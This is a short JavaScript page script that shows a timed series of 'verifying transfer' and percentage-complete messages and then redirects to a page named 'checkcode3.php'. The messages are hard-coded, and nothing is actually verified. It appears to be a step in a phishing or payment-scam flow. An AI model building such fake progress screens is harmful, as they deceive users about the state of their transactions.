var preloadimages=new Array("ajax-loader.gif")

var intervals=1000
//configure destination URL
var targetdestination="checkcode3.php"


var splashmessage=new Array()
var openingtags='<p style="color:#364d61;margin:40px 0px;">'
splashmessage[0]='verifying transfer.'
splashmessage[1]='verifying transfer..'
splashmessage[2]='verifying transfer...'
splashmessage[3]='transfer successfully verified.'
splashmessage[4]='processing.'
splashmessage[5]='processing..'
splashmessage[6]='processing...'
splashmessage[7]='processing.'
splashmessage[8]= '27% completed.'
splashmessage[9]='39% completed..'
splashmessage[10]='41% completed...'
splashmessage[11]='53% completed.'
splashmessage[12]='55% completed..'
splashmessage[13]='68% completed...'
splashmessage[14]='71% completed.'
splashmessage[15]='73% completed..'
splashmessage[16]='75% completed...'
splashmessage[17]='87% completed.'
splashmessage[18]='89% completed..'
splashmessage[19]='94% completed...'
splashmessage[20]='98% completed.'
splashmessage[21]='100% completed..'
var closingtags='</p>'

//Do not edit below this line (besides HTML code at the very bottom)

var i=0

var ns4=document.layers?1:0
var ie4=document.all?1:0
var ns6=document.getElementById&&!document.all?1:0
var theimages=new Array()

//preload images
if (document.images){
for (p=0;p<preloadimages.length;p++){
theimages[p]=new Image()
theimages[p].src=preloadimages[p]
}
}

function displaysplash(){
if (i<splashmessage.length){
sc_cross.style.visibility="hidden"
sc_cross.innerHTML='<center>'+openingtags+splashmessage[i]+closingtags+'</center>'
sc_cross.style.left=ns6?parseInt(window.pageXOffset)+parseInt(window.innerWidth)/2-parseInt(sc_cross.style.width)/2 : document.body.scrollLeft+document.body.clientWidth/2-parseInt(sc_cross.style.width)/2
sc_cross.style.top=ns6?parseInt(window.pageYOffset)+parseInt(window.innerHeight)/2-sc_cross.offsetHeight/2 : document.body.scrollTop+document.body.clientHeight/2-sc_cross.offsetHeight/2
sc_cross.style.visibility="visible"
i++
}
else{
window.location=targetdestination
return
}
setTimeout("displaysplash()",intervals)
}

function displaysplash_ns(){
if (i<splashmessage.length){
sc_ns.visibility="hide"
sc_ns.document.write('<b>'+openingtags+splashmessage[i]+closingtags+'</b>')
sc_ns.document.close()

sc_ns.left=pageXOffset+window.innerWidth/2-sc_ns.document.width/2
sc_ns.top=pageYOffset+window.innerHeight/2-sc_ns.document.height/2

sc_ns.visibility="show"
i++
}
else{
window.location=targetdestination
return
}
setTimeout("displaysplash_ns()",intervals)
}



function positionsplashcontainer(){
if (ie4||ns6){
sc_cross=ns6?document.getElementById("splashcontainer"):document.all.splashcontainer
displaysplash()
}
else if (ns4){
sc_ns=document.splashcontainerns
sc_ns.visibility="show"
displaysplash_ns()
}
else
window.location=targetdestination
}
window.onload=positionsplashcontainer
